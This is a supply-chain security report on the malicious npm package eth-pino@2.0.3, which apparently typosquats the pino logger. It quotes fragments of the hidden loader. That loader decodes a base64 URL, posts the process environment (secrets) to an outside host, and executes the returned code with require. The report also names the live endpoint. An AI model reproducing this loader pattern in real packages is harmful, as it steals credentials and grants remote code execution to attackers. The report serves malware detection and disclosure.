eth-pino@2.0.3: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 5h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-15554 confirms this npm version as malicious. On require, lib/initializeCaller.js runs a top-level async IIFE that decodes a base64-obfuscated URL to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df and POSTs a shallow copy of process.env to that endpoint with an x-secret-header header. The HTTP response body is then passed to new Function('require', response.data) and invoked with the real require, granting the remote operator arbitrary code...

Advisory

MAL-2026-15554

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in eth-pino (npm)

Details

On require, lib/initializeCaller.js runs a top-level async IIFE that decodes a base64-obfuscated URL to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df and POSTs a shallow copy of process.env to that endpoint with an x-secret-header header. The HTTP response body is then passed to new Function('require', response.data) and invoked with the real require, granting the remote operator arbitrary code execution in the installer's Node.js process. The destination URL is stored as a base64 literal to evade static URL scanners. The package name and file layout mimic the legitimate pino logger while the exported middleware is a no-op, consistent with typosquat delivery.

Decision reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 16 file(s), 52.0 KB of source, external domains: github.com

Source & flagged code

4 flagged

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

•matchType = malicious_source_fingerprint_signature signature = 5bc6198a441834e5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = chai-as-org@1.0.5 matchedPath = lib/initializeCaller.js matchedIdentity = npm:Y2hhaS1hcy1vcmc:1.0.5 similarity = 1.000 shingleOverlap = 12 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/initializeCaller.jsView on unpkg

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

Source & flagged code

4 flagged · loading source

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

•matchType = malicious_source_fingerprint_signature signature = 5bc6198a441834e5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = chai-as-org@1.0.5 matchedPath = lib/initializeCaller.js matchedIdentity = npm:Y2hhaS1hcy1vcmc:1.0.5 similarity = 1.000 shingleOverlap = 12 summary = package final verdict is malicious

Findings

4 High2 Medium4 Low

HighChild Process

HighSame File Env Network Executionlib/initializeCaller.js

HighBase64 Obscured Urllib/initializeCaller.js

HighKnown Malware Source Fingerprint Signaturelib/initializeCaller.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowEvallib/initializeCaller.js

LowHigh Entropy Strings

LowUrl Strings